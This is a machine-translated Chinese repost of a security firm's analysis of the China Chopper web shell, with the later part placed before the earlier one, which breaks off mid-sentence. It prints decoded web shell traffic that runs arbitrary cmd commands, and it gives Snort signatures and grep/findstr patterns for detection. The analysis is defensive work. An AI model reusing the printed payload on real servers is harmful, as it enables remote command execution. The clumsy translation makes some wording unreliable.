            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="754" height="667" class="alignnone size-full wp-image-2672 landscape-med" style="border:0px currentColor;border-image:none;" alt="image008" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png"> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图6:继TCP流之后,我们可以看到,大多数攻击者的流量是Base64编码。<br> <br> &nbsp;<br> <br> 如上述所强调的,多数攻击流量似乎Base64编码。这是没有问题的,但是,因为它可以很容易地解码。我们使用免费的提琴手网页调试器的“TextWizard”功能来发现攻击者发送。 (注:%3D是等号的URL编码表示(“=”)提琴手需要这种转换为等号正确解码。)<br> <br> 原料攻击流量:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong></strong> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>Password=Response.Write("-&gt;|");<p style="margin:5px 0px;-ms-word-wrap:break-word;">var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System. Convert.FromBase64String</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">("ERROR:// "%2Berr.message);}Response.Write("|&lt;-");Response.End();&amp;z1=Y21k&amp;z2=Y2QgL2QgImM6</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">如图9中,提琴手网页调试文本向导轻松地转换成原始流量的Base64为纯文本。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="579" class="alignnone size-full wp-image-2673 landscape-med" style="border:0px currentColor;border-image:none;" alt="image009" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图9:网页调试器解码的Base64交通</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong>Decoded traffic:</strong> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).<p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System.Convert.FromBase64String(Request.Item["<b>z1</b>"])));</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">vare=newSystem.Diagnostics.Process();</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">varout:System.IO.StreamReader,EI:System.IO.StreamReader;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">c.UseShellExecute=false;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">c.RedirectStandardOutput=true;c.RedirectStandardError=true;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System.Convert.FromBase64String(Request.Item["<b>z2</b>"]));</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">Response.Write(out.ReadToEnd()+EI.ReadToEnd());</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">最后,我们有更多的东西可读。然而,我们的Base64解码交通正试图解码正被存储为Z1和Z2更Base64的流量。回到我们的攻击流量,“密码”参数结束之后,我们看到了Z1和Z2参数。<br> <br> 我突出Base64编码参数Z1和Z2以下的输出:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;">
                                    <pre>&amp;<span style="text-decoration:underline;"><b>z1</b></span>=Y21k&amp;<span style="text-decoration:underline;"><b>z2</b></span>=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">Base64解码参数的Z1和Z2:</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&amp;whoami&amp;echo [S]&amp;cd&amp;echo [E]</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这也解释了客户如何与外壳进行通信。 “密码”的参数传递给被执行的代码的有效载荷。该Z1是cmd,然后Z2包含的参数通过CMD / C发送的命令提示符。所有输出发送到标准输出(stdout)回攻击者,从而创建以下响应whoami命令和当前的工作目录:</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>-&gt;|nt authority\network service[S]C:\Inetpub\wwwroot[E]|&lt;-</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong>发现<br> <br> 现在,我们了解中国砍刀的内容以及它的交通是什么样子,我们可以集中精力的方法来检测这种害虫无论是在网络和主机级别。<br> 网络<br> <br> 与标准的Snort IDS到位,这些流量可以被捕获相对容易。基思·泰勒给出了一个基本的IDS特征在他早期的中国砍刀博客文章的工作:</strong> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="http://www.snort.org/" data-ke-src="http://www.snort.org/" target="_blank"></a><a href="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html" data-ke-src="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>alert tcp any any -&gt; any 80 ( sid:900001; content:"base64_decode";<p style="margin:5px 0px;-ms-word-wrap:break-word;">http_client_body;flow:to_server,established; content:"POST"; nocase;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">http_method; ;msg:"Webshell Detected Apache";)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">为了减少误报,我们已经收紧的Snort IDS签名专注于中国斩波通过寻找“FromBase64String”和“Z1”如下内容:</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>alert tcp $EXTERNAL_NET any -&gt; $HTTP_SERVERS $HTTP_PORTS<p style="margin:5px 0px;-ms-word-wrap:break-word;">(msg: "China Chopper with first Command Detected";</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">flow:to_server,established; content: "FromBase64String";</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">content: "z1"; content:"POST"; nocase;http_method;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">breaking-down-the-china-chopper-web-shell-part-i.html;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">classtype:web-application-attack; sid: 900000101;)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">下面IDS特征查找“FromBase64String”和“Z”的任何组合,随后被一至三个数字的内容 - 这将找到“Z1”,“Z10”,或“Z100”为例的想法:如果第一命令(Z1)被错过了,你还是赶上随后的命令。</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;">
                                    <pre style="text-align:left;">alert tcp $EXTERNAL_NET any -&gt; $HTTP_SERVERS $HTTP_PORTS<p style="margin:5px 0px;-ms-word-wrap:break-word;">(msg: "China Chopper with all Commands Detected"; flow:to_server,established;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">breaking-down-the-china-chopper-web-shell-part-i.html;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">classtype:web-application-attack; sid: 900000102;)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这两种IDS特征可以被修改为进一步优化时,深度和偏移考虑。一定要放一个有效的SID在实施前和测试签名的性能。<br> <br> 现在,我们已经讨论过检测在网络层面上,我们将看到检测在主机级别也是可以的。由于炮弹必须包含一个可预见的语法,我们可以迅速试图寻找那些在游戏的代码文件。<br> 主持人<br> <br> 许多方法可用于查找包含中国斩波文件。最快和最简单的方法,尤其是在Linux机器,很可能是使用正则表达式。如图10,在你的web目录快速的egrep可以帮助识别受感染的文件。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>egrep -re ' [&lt;][?]php\s\@eval[(]\$_POST\[.+\][)];[?][&gt;]' *.php</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="311" class="alignnone size-full wp-image-2674 landscape-med" style="border:0px currentColor;border-image:none;" alt="image010" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图10:使用egrep的发现这个网站的shell<br> <br> &nbsp;<br> <br> 正如你在图10中看到,egrep的正则表达式和命令是一个强大的组合。而正则表达式可能看起来像废话,它确实是并不像它看起来那样糟糕。伊恩·阿尔创造了一些正则表达式的教程,可以帮助提高你的正则表达式的技能。这里有两个让你开始:<br> <br> &nbsp;&nbsp;&nbsp; 正则表达式基础知识<br> &nbsp;&nbsp;&nbsp; 使用正则表达式用记事本<br> <br> Windows还提供了一种通过使用本地FINDSTR命令搜索使用正则表达式的文件。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="696" height="94" class="alignnone size-full wp-image-2675 landscape-med" style="border:0px currentColor;border-image:none;" alt="image011" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图11:使用FINDSTR找到中国砍刀<br> <br> &nbsp;<br> <br> 您可能已经注意到,我们不得不改变了正则表达式一点。这是必要的,以避开一些FINDSTR解释正则表达式的方式。您将运行命令如下:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em><em></em><em></em> </p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R "[&lt;][?]php.\@eval[(]\$_POST.*[)];[?][&gt;]" *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这些例子表明检测的PHP外壳。为了找到ASPX外壳,只需修改正则表达式来适应ASPX壳的语法如下所示:</p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">egrep -re '[&lt;]\%\@\sPage\sLanguage=.Jscript.\%[&gt;][&lt;]\%eval.Request\.Item.+unsafe' *.aspx</pre>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R "[&lt;]\%\@.Page.Language=.Jscript.\%[&gt;][&lt;]\%eval.Request\.Item.*unsafe" *.aspx</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">如果你不知道,所有的PHP或ASPX文件是在Windows主机上,可以使用dir命令的一些扩展选项,以帮助您确定您可能要运行我们的正则表达式对(见图12)Web文件。</p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">dir /S /A /B *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="510" height="135" class="alignnone size-full wp-image-2676 landscape-med" style="border:0px currentColor;border-image:none;" alt="image012" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图12:通过Windows使用dir命令递归搜索<br> <br> &nbsp;<br> <br> FINDSTR还必须搜索所有的子目录(参见图13)的选项。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R /S "[&lt;][?]php.\@eval[(]\$_POST.*[)];[?][&gt;]" *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="213" class="alignnone size-full wp-image-2677 landscape-med" style="border:0px currentColor;border-image:none;" alt="image013" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图13:使用FINDSTR递归找到Web壳的多个实例<br> <br> &nbsp;<br> <br> 结论:<br> <br> 我希望中国斩波器的功能,平台的通用性,交付机制,流量分析和检测这个解释给你的知识和工具,你需要消除这种优雅的设计,但危险的威胁。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p><br class="Apple-interchange-newline">

Mrxn 发布于 2014-12-20 09:20

剖析中国菜刀第一部分

中国牛刀:可能是一款小的恶意软件

中国菜刀是一个漂亮的小网站的外壳,没有得到足够的曝光和信用的隐形。除了从安全研究人员基思·泰勒一个好的博客文章中,我们可以找到中国菜刀小有用的信息,当我们在事件响应订婚跑过它。因此,要促进新的东西给市民的知识基础 - 特别是对那些谁碰巧发现在他们的Web服务器之一的中国菜刀服务器端有效载荷 - 我们所研究的成分,性能,有效载荷属性,而这4千字节的检出率威胁。

在客户端的二进制是挤满了UPX和是220672字节的大小,如图1。

image001.png

                                                                                    图1:在WinHex的客户端二进制观看

使用可执行文件UPX压缩解压二进制让我们看到了一些被隐藏的封隔器的详细信息。

C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exe 
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011
File size         Ratio      Format      Name
--------------------   ------   -----------   -----------
700416 <-    220672   31.51%    win32/pe     decomp.exe
Unpacked 1 file.


使用PEID(一个免费的工具,用于检测加壳,cryptors和编译器的PE可执行文件中找到),我们看到客户端解压二进制写在Microsoft Visual C ++ 6.0,如图2。


图2:PEID显示,二是用书面的Visual C ++ 6.0

因为字符串不编码,检查打印字符串在解压缩二进制提供了深入了解的后门通信。我们好奇地看到一个参考使用中国(简体)语言参数(图3),以及参考文本“牛刀”(图4)google.com.hk。


图3:打印字符串指向 www.google.com.hk

image004

图4:引用菜刀在客户端的二进制因此,我们强调了客户端二进制文件的一些属性。但什么是它看起来像在使用?中国菜刀是一个菜单驱动的GUI满方便的攻击和受害者管理功能。一旦打开客户端,您可以看到指向www.maicaidao.com例如外壳条目,原本主办的网站壳组件。

要添加自己的目标,右边的客户端中单击,选择“添加”,输入目标IP地址,密码和编码,如图5。


image005

图片5:菜刀的网站shell管理界面

服务器端的有效载荷分量

但客户端是只有一半的远程访问工具 - 而不是可能的一部分,你会发现你的网络上。它的通信依赖于一个小型Web应用程序的形式的有效载荷。这有效载荷是在各种语言,如ASP,ASPX,PHP,JSP和CFM提供。一些原始文件是可供下载,只显示其MD5散列:


Web shell Payload MD5 Hash
Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08
Customize.cfm ad8288227240477a95fb023551773c84
Customize.jsp acba8115d027529763ea5c7ed6621499

Source:  http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html

即使MD5s是有用的,要记住,这是一个可以很容易地改变,从而产生一种新的MD5哈希基于文本的有效载荷。我们将讨论后的有效载荷的属性,但这里是仅仅基于文本的有效载荷中的一个例子:

ASPX:

